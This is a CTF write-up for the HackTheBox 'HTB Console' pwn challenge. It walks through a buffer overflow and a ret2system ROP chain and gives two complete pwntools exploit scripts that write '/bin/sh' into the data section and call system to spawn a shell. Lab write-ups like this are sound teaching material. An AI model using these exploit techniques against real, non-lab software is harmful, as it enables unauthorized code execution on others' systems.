← Back to Writeups
HTBEasyPwn

HTB Console

D3v0o0Nu119/2/20263 min read
#pwn#htb#easy

HTB Console

Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Check out the all new HTB Console! Don't try to pwn it though.

Solution Approach

Core idea: Buffer Overflow. Direct .DATA section field manipulation.

Steps

  1. First, unzip the .zip file given.

  2. Check the file type.

  3. Now, check the binary's protection.

  4. Let's decompile the binary using ghidra.

  5. When checking every function available, this function seems will be our interest.

  6. Based from it, seems we can do bufferoverflow the local_18 variable then put in the new return address.

  7. Notice there's a system function.

  8. Not only that, we can utilize this one to write to memory.

  9. Since NX Enabled, hence it's useless to inject shellcode. So the attack concept we may use here is ret2system.

  10. So we need to:

- Find the offset of RIP/EIP first.
- Then overflow the buffer of local_18 so we can write the system address of the system function.
- And pass in as a parameter the strings that we've written to the &DAT_004040b0 (data section).
  1. Now let's make the file executeable by run chmod. Then run the file in gdb.

  2. Enter "flag".

  3. Enter 300 cyclic pattern.

  4. Find the offset of RIP/EIP by copy the first 4 characters in RSP.

  5. Great now we know the offset is 24 bytes.

  6. Anyway to make sure every string we enter are send to the data, let's run the binary in gdb again, but this time enter the first input as hof and let's set the breakpoint at this offset.

STEPS - I USED GDB-PWNDBG THIS TIME

  • Press ctrl + c

  • Type this:

x/8s 0x004040b0
  1. Yepp, it's written there and we have more room there, so it's let us to input cat flag.txt etc.

  2. Now let's find the offset of system func.

  3. Next we need the pop rdi, because the binary is in 64 bit, so the calling convention is if we want to call the system function we need to pop the parameter that we want to pass the system. So since we want to call system("bin/sh"), then we need to pop the bin/sh string into the RDI register.

POP RDI

sh
ropper --file htb-console --search "pop rdi"
  1. Let's combine all of it to the script.

THE SCRIPT (RET2SYSTEM)

py
from pwn import *
import os

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE: 
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  
        return process([exe] + argv, *a, **kw)

exe = './htb-console'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

sh = start()

ripEipoffset = 24 
systemAddr = 0x401040 # can grep it with elf.symbols.system
firstLinedatAddr = 0x4040b0 # first memory of dat
popRdi_offset = 0x401473 # pop rdi offset
p = flat(
    {ripEipoffset: [
        popRdi_offset,
        firstLinedatAddr,
        systemAddr
    ]}
)

sh.sendlineafter('>>', 'hof')
sh.sendlineafter(':','/bin/sh') # fill the dat with /bin/sh string

sh.sendlineafter('>>', 'flag')
sh.sendlineafter(':',p)

sh.interactive()
  1. Let's run it remotely.

  2. Got the flag!

ALTERNATE SCRIPT

  1. Here lies my alternate solver, but it failed locally and needed to run remotely to get the flag.

THE SCRIPT

py
import os
from pwn import *

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './htb-console'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'

sh = start()

padding = 24
system_addr = elf.sym['system']
info('System Address --> %#0x', system_addr)

pop_rdi_gadget = 0x0000000000401473
info('pop_rdi_gadget --> %#0x', pop_rdi_gadget)

ret_addr = 0x000000000040101a
info('ret_addr --> %#0x', ret_addr)

sh.sendlineafter(b'>>', b'hof')
'''
p = flat([
    asm('nop') * padding,
    ret_addr,
    pop_rdi_gadget,
    b'/bin/sh\x00',
    system_addr
])
'''
#sh.sendlineafter(b':', p)

data_addr = 0x004040b0
info('Dat Addr --> %#0x', data_addr)

pay = flat([
    asm('nop') * padding,
    #ret_addr,
    pop_rdi_gadget,
    data_addr,
    system_addr
])

sh.sendlineafter(b':', b'/bin/sh\x00')
sh.sendlineafter(b'>>', b'flag')
sh.sendlineafter(b':', pay)

sh.interactive() # get shell

Flag

REDACTED

Lessons Learned

  1. Buffer Overflow.
  2. Direct .DATA section field manipulation.
  3. Utilizing BOF to return to .DATA section filled with /bin/sh\x00 string.